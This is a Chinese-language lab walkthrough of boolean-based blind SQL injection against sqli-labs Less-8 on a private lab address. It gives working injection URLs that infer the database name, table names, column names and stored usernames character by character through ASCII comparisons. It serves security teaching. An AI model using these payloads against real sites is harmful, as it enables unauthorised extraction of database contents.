sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注

Less-8 Blind-- Boolian Based基于布尔的盲注

1、回显分析

当输入的语句正确时,显示 You are in…
当输入的语句异常时,不显示任何信息

2、SQL盲注

根据页面的显示情况会有不同,可以构造判断语句,当语句成立时,显示You are in…
当语句不成立时,不显示任何信息。

先判断数据库名的长度:

http://192.168.195.110/sqli-labs/Less-8/?id=1’and (length(database())>10) – +
页面无信息显示,说明数据库名的长度小于10
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注
http://192.168.195.110/sqli-labs/Less-8/?id=1’and (length(database())>5) – +
有信息显示,说明数据名的长度大于5
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注
http://192.168.195.110/sqli-labs/Less-8/?id=1’and (length(database())=8) – +
有信息显示,说明数据名的长度等于8
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注

通过ASCII码的值,来分别判断出每个字符

(文末附上ASCII对照表)
substr 将符串进行截区,从第几个开始,截取几个字符
语法:substr(string,start,length)
示例:
mysql> select substr(database(),1,1);
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注
ascii 是将字符转换成 ascii 码值
构造语句如下:
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr(database(),1,1))>100) – +
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注显示正常,说明第一个字符的ascii值大于100,继续以> , < , =来测试直到判断出具体值
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr(database(),1,1))=115) – +
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注
等于115时,显示正常,说明第一个字符的ASCII码值是115,查询后为小s
按此方法依次猜测出8个字符,即数据库名 “security”

猜测数据表

(为了节约测试时间,主要说明原理,我们从数据库的第4张表users表来举例)
判断数据表名的长度:
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and ((select length(table_name) from information_schema.tables where table_schema=“security” limit 3,1)=5) – +
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注
数据表的长度为5
判断数据表的第一个字母
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=“security” limit 3,1),1,1))>100) – +
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=“security” limit 3,1),1,1))>120) – +
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=“security” limit 3,1),1,1))=117) – +
sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注
第一个字母的ASCII值为 117,查询得知为小写u
依次猜测出整个表名 users

猜测数据表中的数据段名

语句:
第二个字段的长度
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and ((select length(column_name) from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1)=8) – +
猜第二个字段的每个字符:
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1),1,1))=117) – +

分别猜出第二个字段为username,第三个字段password

猜数据表中的数据

第一个username的长度
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and ((select length(username) from users limit 0,1)=4) – +
第一个username的第一个字母的ASCII值
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select username from users limit 0,1),1,1))=68) – +

按此方法,可以依次猜测出所需要数据。

附:ASCII对照表

sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注